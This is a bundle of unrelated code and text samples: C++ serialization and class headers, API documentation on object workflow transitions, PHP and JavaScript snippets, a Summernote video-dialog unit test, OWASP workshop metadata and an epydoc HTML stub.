			ar & header.param_accesses;
			ar & header.shared_accesses;
			ar & header.texture_accesses;

			ar & header.global_min_address;
			ar & header.global_max_address;

			ar & header.halfwarps;
			ar & header.global_segments;

			ar & header.global_instructions;
			ar & header.texture_instructions;

			ar & header.global_bytes;
			ar & header.texture_bytes;

			ar & header.global_words;
			ar & header.texture_words;
			ar & header.global_extent;

			ar & header.headerOnly;
		}
	}
}

#endif


text:
title: "119 - Transitions"
menu:
  main:
    name: "Transitions"
    identifier: "technical/transitions"
    parent: "technical"
---
# Transitions

Transitions can be used to create a workflow when operating with user objects. They can control which operations are
possible and trigger actions when they are performed.

## Levels

Transitions can be defined at three levels: global, pool and objecttype. Global transitions are applied to all objects,
as long as the pool or objecttype they belong to does not specify otherwise.

Global transitions are defined using [/api/transition](/en/technical/api/transitions). If they are marked as sticky, they will be
shared by all objects.

Objecttype transitions are only relevant for non-pool objects. They are defined using [/api/objecttype](/en/technical/api/objecttype).
If an objecttype has **private_transitions**, it means that the global transitions that are not sticky will be cancelled.

Pool transitions are only relevant for pool objects. They are defined using [/api/pool](/en/technical/api/pool). Normally,
transitions are inherited from the parent pool and the root pool inherits the global transitions.
If a pool has **private_transitions**, all inherited transitions that are not sticky will be cancelled.

## Procedure

When an operation (INSERT, UPDATE or DELETE) is performed on an object using [/api/db](/en/technical/api/db), all transitions that are
applicable to that object are gathered. If they are no transitions, the operation continues normally.

If there are transitions, they are checked (see [transition](/en/technical/types/transition)):

1. The operation must match the transition `operation`
2. The session user/group must match any entry in the transition `who`
3. The `tagfilter:before` must match the current object's tags (not checked for INSERT)
4. The `tagfilter:after` must match the new object's tags (not checked for DELETE)

If no transition survived this check, an error will be returned (403 forbidden).

If any of the transitions that apply requires confirmation (`confirm` is not null), the server will return a status code of 428
with the list of all confirmation messages and a confirmation key. The next call from the client should include the confirmation
key as query string parameter (see [/api/db](/en/technical/api/db)). If the key is provided, the operation will continue.

If the transitions specify any actions, these will be processed.


text:
namespace Poly {

	//TODO write propper UniqueID
	class CORE_DLLEXPORT UniqueID : public BaseObject<>
	{
	public:
		UniqueID();
		static UniqueID Generate();

		bool operator==(const UniqueID& rhs) const;
		bool operator!=(const UniqueID& rhs) const;

		explicit operator bool() const;

		size_t GetHash() const { return ID; }
	private:
		UniqueID(size_t id);

		size_t ID = 0;
	};
}

// hasher for UniqueID
namespace std {
	template <> struct hash<Poly::UniqueID> { std::size_t operator()(const Poly::UniqueID& k) const { return k.GetHash(); } };
}


text:
<?php

namespace DTA\MetadataBundle\Model\Data;

use DTA\MetadataBundle\Model\Data\om\BaseTitleQuery;

class TitleQuery extends BaseTitleQuery
{
}


text:
/*jslint indent: 2 */
/*global $: false, document: false, togglbutton: false*/

'use strict';

// List items
togglbutton.render('.list li:not(.toggl)', {observe: true}, function (elem) {
  var link,
    taskElement = $('.task-title', elem),
    description = $('a', taskElement).textContent.trim(),
    projectName = function () {
      var label = $('span.highlight', taskElement);
      if (!!label) {
        return label.textContent;
      }
      return "";
    };

  link = togglbutton.createTimerLink({
    className: 'capsule',
    description: description,
    projectName: projectName,
    buttonType: 'minimal'
  });

  taskElement.appendChild(link);
});


text:
var config = require('./')

module.exports = {
  url: 'http://djtb.github.io/conway/',
  src: config.publicDirectory + '/**/*'
}


text:
layout       : blocks/working-session
title        : OWASP Project Alignment (ASVS, Testing Checklist)
type         : workshop
owasp-project :
track        : Owasp Testing Guide v5
technology   :
related-to   :
status       : empty
when-day     : Wed
when-time    : PM-1
location     : Villa-6
organizers   : Matteo Meucci
participants :
---


text:
/**
 * VideoDialog.spec.js
 * (c) 2015~ Summernote Team
 * summernote may be freely distributed under the MIT license./
 */
/* jshint unused: false */
define([
  'chai',
  'jquery',
  'summernote/base/Context',
  'summernote/base/module/VideoDialog'
], function (chai, $, Context, VideoDialog) {
  'use strict';

  var expect = chai.expect;

  describe('bs:module.VideoDialog', function () {

    var context, $video, $toolbar, $editable;

    function expectUrl(source, target) {
      var iframe = $video.createVideoNode(source);
      expect(iframe).to.not.equal(false);
      expect(iframe.tagName).to.equal('IFRAME');
      expect(iframe.src).to.equal(target);
    }

    beforeEach(function () {
      var $note = $('

').appendTo('body');
      var options = $.extend({}, $.summernote.options);
      options.langInfo = $.extend(true, {}, $.summernote.lang['en-US'], $.summernote.lang[options.lang]);
      options.toolbar = [
        ['video', ['video']]
      ];
      context = new Context($note, options);
      context.initialize();

      $video = new VideoDialog(context);

      $toolbar = context.layoutInfo.toolbar;
      $editable = context.layoutInfo.editable;
    });

    describe('#createVideoNode', function () {
      it('should execute when insert other url', function () {
        expect($video.createVideoNode('http://www.google.com')).to.equal(false);
        expect($video.createVideoNode('http://www.youtube.com')).to.equal(false);
        expect($video.createVideoNode('http://www.facebook.com')).to.equal(false);
      });
      it('should execute when insert v.qq.com', function () {
        expectUrl('http://v.qq.com/cover/6/640ewqy2v071ppd.html?vid=f0196y2b2cx',
          'http://v.qq.com/iframe/player.html?vid=f0196y2b2cx&auto=0');
        expectUrl('http://v.qq.com/x/page/p0330y279lm.html',
          'http://v.qq.com/iframe/player.html?vid=p0330y279lm&auto=0');
      });
    });

  });
});


text:
<?xml version="1.0" encoding="ascii"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
          "DTD/xhtml1-transitional.dtd">

  <title>cpl</title>
  <link rel="stylesheet" href="epydoc.css" type="text/css" />

Module cpl

Classes

    CPL

[hide private]